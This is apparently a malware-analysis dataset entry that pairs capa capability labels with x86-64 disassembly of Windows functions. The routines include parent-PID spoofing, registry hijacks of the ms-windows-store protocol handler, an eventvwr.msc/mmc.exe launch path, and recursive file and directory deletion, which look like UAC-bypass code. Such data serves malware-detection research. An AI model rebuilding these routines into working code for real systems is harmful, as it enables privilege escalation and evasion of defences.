joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140015816
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x140020350
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x128]
lea rcx, [0x140078ab9]
call fcn.140015b09
nop
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x44504355
je 0x1400203d0
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x55504355
je 0x1400203d0
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x43504355
je 0x1400203d0
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4b504355
je 0x1400203d0
xor eax, eax
jmp 0x140020478
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0xc]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov dword [rax + 0xc], 0
mov r8d, 0x20
mov rdx, qword [rbp + 0x100]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlComputeCrc32]
cmp eax, dword [rbp + 4]
je 0x140020409
xor eax, eax
jmp 0x140020478
mov rax, qword [rbp + 0x100]
cmp dword [rax + 4], 0
je 0x140020423
mov rax, qword [rbp + 0x100]
cmp dword [rax + 8], 0
jne 0x140020427
xor eax, eax
jmp 0x140020478
mov rax, qword [rbp + 0x100]
mov ecx, dword [rbp + 0x108]
cmp dword [rax + 4], ecx
jbe 0x14002043d
xor eax, eax
jmp 0x140020478
mov rax, qword [rbp + 0x100]
mov ecx, dword [rbp + 0x108]
cmp dword [rax + 8], ecx
jbe 0x140020453
xor eax, eax
jmp 0x140020478
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x100]
mov ecx, dword [rcx + 4]
cmp dword [rax + 8], ecx
jbe 0x14002046d
xor eax, eax
jmp 0x140020478
jmp 0x140020473
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400478f0]
call fcn.14001595b
mov rax, rdi
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140015834
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x14002e000
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1400794a4]
call fcn.140015b09
mov dword [rbp + 4], 0xc0000001
mov qword [rbp + 0x28], 0x30
mov edx, 0x18
lea rcx, [rbp + 0xd8]
call fcn.1400157e4
mov edx, 0x70
lea rcx, [rbp + 0x50]
call fcn.1400157e4
mov dword [rbp + 0x50], 0x70
cmp qword [rbp + 0x28], 0x400
jbe 0x14002e092
jmp 0x14002e1d0
mov rcx, qword [rbp + 0x28]
call fcn.140015659
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
je 0x14002e1c1
lea r9, [rbp + 0x28]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x14002e19e
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14002e19e
mov dword [rbp + 0x8c], 1
mov eax, 5
mov word [rbp + 0x90], ax
mov rax, qword [0x140070bf8]
add rax, 0x68
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14002e19e
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
cmp qword [rbp + 0xb8], 0
je 0x14002e1b5
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 0xb8]
call fcn.140015bae
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x14002e083
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400564f0]
call fcn.14001595b
mov eax, edi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140015852
Capabilities:
Terminate process

Disassembly:
jmp 0x1400379a0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140079a23]
call fcn.140015b09
mov dword [rbp + 4], 0
mov r9d, dword [rbp + 0x138]
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call fcn.140015113
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140037a41
cmp dword [rbp + 0x140], 0
je 0x140037a30
mov edx, dword [rbp + 0x140]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140037a30
mov edx, 0x102
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 1
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14001585c
Capabilities:
Access pe header

Disassembly:
jmp 0x1400393b0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x140079a23]
call fcn.140015b09
mov edx, dword [rbp + 0x148]
mov rcx, qword [rbp + 0x140]
call fcn.14001562c
mov dword [rbp + 0x44], eax
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14003940c
mov rax, qword [rbp + 8]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x24], eax
jmp 0x140039415
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x44], eax
jne 0x140039429
mov dword [rbp + 0x114], 1
jmp 0x140039433
mov dword [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400158d4
Capabilities:
Delete file

Disassembly:
jmp 0x1400278d0
push rbp
push rdi
sub rsp, 0x6f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x126
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x6c8], rax
lea rcx, [0x140078fad]
call fcn.140015b09
mov rax, qword [0x140070bf8]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400151ea
lea rcx, [rbp + 0x30]
call fcn.14001528a
mov qword [rbp + 8], rax
lea rdx, str.kmkze.msc
lea rcx, [rbp + 0x30]
call fcn.140015a96
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0x410
jae 0x140027975
jmp 0x14002797a
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x698]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.readme.html
lea rcx, [rbp + 0x30]
call fcn.140015a96
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0x410
jae 0x1400279bf
jmp 0x1400279c4
call fcn.140015811
xor eax, eax
mov rcx, qword [rbp + 0x6b8]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.osk.exe
lea rcx, [rbp + 0x30]
call fcn.140015a96
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14004fa40]
call fcn.14001595b
mov rax, rdi
mov rcx, qword [rbp + 0x6c8]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x6d8]
pop rdi
pop rbp
ret
Function at 0x1400158d9
Capabilities:
Delete registry value

Disassembly:
jmp 0x140036170
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x248]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x140079a23]
call fcn.140015b09
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x1400362ca
mov dword [rbp + 0x68], 0x30
mov qword [rbp + 0x70], 0
mov dword [rbp + 0x80], 0x40
lea rax, [rbp + 0x118]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x1400362bd
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x1400362b3
mov rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.14001595b
mov eax, edi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret

Function at 0x1400158f7
Capabilities:
Delete file

Disassembly:
jmp 0x14002ea10
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x1400795a5]
call fcn.140015b09
mov edx, 0x410
lea rcx, [rbp + 0x10]
call fcn.1400157e4
mov rax, qword [0x140070bf8]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400151ea
lea rdx, str.update.msu
lea rcx, [rbp + 0x10]
call fcn.140015a96
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x20]
lea rdx, [0x140056730]
call fcn.14001595b
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x14001596f
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140020290
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x140078ab9]
call fcn.140015b09
cmp qword [rbp + 0x140], 0
je 0x1400202cb
cmp dword [rbp + 0x148], 0
jne 0x1400202cd
jmp 0x14002031b
mov eax, dword [rbp + 0x150]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
movzx eax, byte [rax]
xor eax, dword [rbp + 4]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov eax, dword [rbp + 4]
rol eax, 1
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400202ea
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140015979
Capabilities:
Delete file
Get common file path

Disassembly:
jmp 0x140028440
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x778
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x146
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x798]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x748], rax
lea rcx, [0x1400790af]
call fcn.140015b09
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov r9, qword [rbp + 0x770]
lea r8, str.pe386
xor edx, edx
xor ecx, ecx
call fcn.1400150d2
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400623c8]
call fcn.1400154b5
test eax, eax
jge 0x1400284e6
jmp 0x140028624
mov rcx, qword [rbp + 0x88]
call fcn.14001528a
lea rax, [rax + rax + 0x208]
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xc8]
call fcn.140015659
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140028523
jmp 0x140028624
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xa8]
call fcn.1400151ea
lea rdx, str.MicrosoftEvent_ViewerRecentViews
mov rcx, qword [rbp + 0xa8]
call fcn.140015a96
mov rax, qword [0x140070bf8]
cmp dword [rax + 8], 0x23f0
jae 0x14002856d
lea rax, [0x140050120]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x20eb
jmp 0x14002857f
lea rax, [0x14004fb90]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x583
mov r9d, 0x7a7a7a7a
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0xa8]
call fcn.140015023
test eax, eax
jne 0x1400285a2
jmp 0x140028624
mov rax, qword [0x140070bf8]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400151ea
lea rdx, str.mmc.exe
lea rcx, [rbp + 0xf0]
call fcn.140015a96
mov r9d, 5
xor r8d, r8d
lea rdx, str.eventvwr.msc
lea rcx, [rbp + 0xf0]
call fcn.140015113
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14002861a
mov edx, 0xc350
lea rcx, str.mmc.exe
call fcn.1400159a1
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x1400284ae
cmp qword [rbp + 0x88], 0
je 0x14002863b
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp qword [rbp + 0xa8], 0
je 0x14002865e
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0xa8]
call fcn.140015bae
xor r9d, r9d
lea r8, str.pe386
xor edx, edx
mov ecx, 1
call fcn.1400150d2
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.14001595b
mov eax, edi
mov rcx, qword [rbp + 0x748]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x758]
pop rdi
pop rbp
ret
Function at 0x140015a0f
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
jmp 0x140036d30
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xa78
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1d6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa98]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0xa48], rax
lea rcx, [0x140079a23]
call fcn.140015b09
mov dword [rbp + 4], 1
mov dword [rbp + 0x24], 1
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call fcn.140015578
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x140036dd8
mov r8d, 0x104
lea rdx, [0x14005fca8]
lea rcx, [rbp + 0x2c0]
call fcn.140015938
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0xffffffffffffffff
je 0x140036eb8
cmp dword [rbp + 4], 0
je 0x140036eb8
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x90]
call fcn.140015578
mov r8d, 0x104
lea rdx, [rbp + 0x51c]
lea rcx, [rbp + 0x90]
call fcn.140015938
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
je 0x140036e85
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x51c]
cmp eax, 0x2e
je 0x140036e85
lea rcx, [rbp + 0x90]
call fcn.140015a0f
test eax, eax
jne 0x140036e76
mov dword [rbp + 0x24], 0
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140036e9f
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
jne 0x140036e9f
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x4f0]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [rbp + 4], eax
jmp 0x140036df0
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x140036ef4
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140036ef4
mov dword [rbp + 0x24], 0
mov eax, dword [rbp + 0x24]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14005f320]
call fcn.14001595b
mov eax, edi
mov rcx, qword [rbp + 0xa48]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0xa58]
pop rdi
pop rbp
ret
Function at 0x140015a14
Capabilities:
Set registry value

Disassembly:
jmp 0x140024e70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, [0x140078cb5]
call fcn.140015b09
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea rdx, [rbp + 8]
xor ecx, ecx
call fcn.140015721
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140024ee5
mov eax, dword [rbp + 0x44]
jmp 0x140025068
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ms_windows_store
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140024f60
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
xor r8d, r8d
lea rdx, str.URL_Protocol
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.ms_windows_store
lea rcx, [rbp + 0x90]
call fcn.1400151ea
lea rdx, str._shellopen
lea rcx, [rbp + 0x90]
call fcn.140015a96
lea rdx, [0x14004a640]
lea rcx, [rbp + 0x90]
call fcn.140015a96
lea rdx, str.command
lea rcx, [rbp + 0x90]
call fcn.140015a96
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140025054
mov rcx, qword [rbp + 0x450]
call fcn.14001528a
lea rax, [rax + rax + 2]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x450]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14004a83c]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140025041
mov dword [rbp + 0x44], 0
jmp 0x140025048
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14002505b
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [rbp + 0x44]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140049db0]
call fcn.14001595b
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret
Function at 0x140015a69
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
jmp 0x14001dfd0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xbe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x1400787bc]
call fcn.140015b09
mov dword [rbp + 4], 0
mov r9, qword [rbp + 0x4a8]
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x490]
call fcn.1400157b2
test eax, eax
je 0x14001e05e
mov eax, 1
jmp 0x14001e174
mov rcx, qword [rbp + 0x490]
call fcn.14001528a
add rax, 0x108
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
shl rax, 1
mov rcx, rax
call fcn.140015659
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001e095
xor eax, eax
jmp 0x14001e174
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x68]
call fcn.1400151ea
mov r8, qword [rbp + 0x28]
lea rdx, [0x1400434bc]
mov rcx, qword [rbp + 0x68]
call fcn.140015938
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
je 0x14001e168
mov eax, dword [rbp + 0x90]
and eax, 0x10
test eax, eax
je 0x14001e145
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0xbc]
cmp eax, 0x2e
je 0x14001e145
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x68]
call fcn.1400151ea
lea rdx, [rbp + 0xbc]
mov rcx, qword [rbp + 0x68]
call fcn.140015a96
mov r9, qword [rbp + 0x4a8]
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x68]
call fcn.140015a69
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001e145
jmp 0x14001e15e
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14001e0d9
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x68]
call fcn.140015bae
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140043330]
call fcn.14001595b
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x478]
pop rdi
pop rbp
ret
Function at 0x140015b36
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140034370
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x188]
mov rax, qword [0x140070328]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x140079a23]
call fcn.140015b09
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0x1000
mov dword [rbp + 0x64], 0
mov eax, dword [rbp + 0x24]
mov ecx, eax
call fcn.140015659
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400343e6
xor eax, eax
jmp 0x140034456
lea r9, [rbp + 0x64]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov ecx, dword [rbp + 0x160]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xc0000004
jne 0x140034438
mov rcx, qword [rbp + 8]
call fcn.140015bae
mov eax, dword [rbp + 0x24]
shl eax, 1
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0x20000000
jbe 0x140034428
xor eax, eax
jmp 0x140034456
mov eax, dword [rbp + 0x24]
mov ecx, eax
call fcn.140015659
mov qword [rbp + 8], rax
jmp 0x1400343e6
cmp dword [rbp + 0x44], 0
jl 0x140034444
mov rax, qword [rbp + 8]
jmp 0x140034456
cmp qword [rbp + 8], 0
je 0x140034454
mov rcx, qword [rbp + 8]
call fcn.140015bae
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14005d8f0]
call fcn.14001595b
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.140015582
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret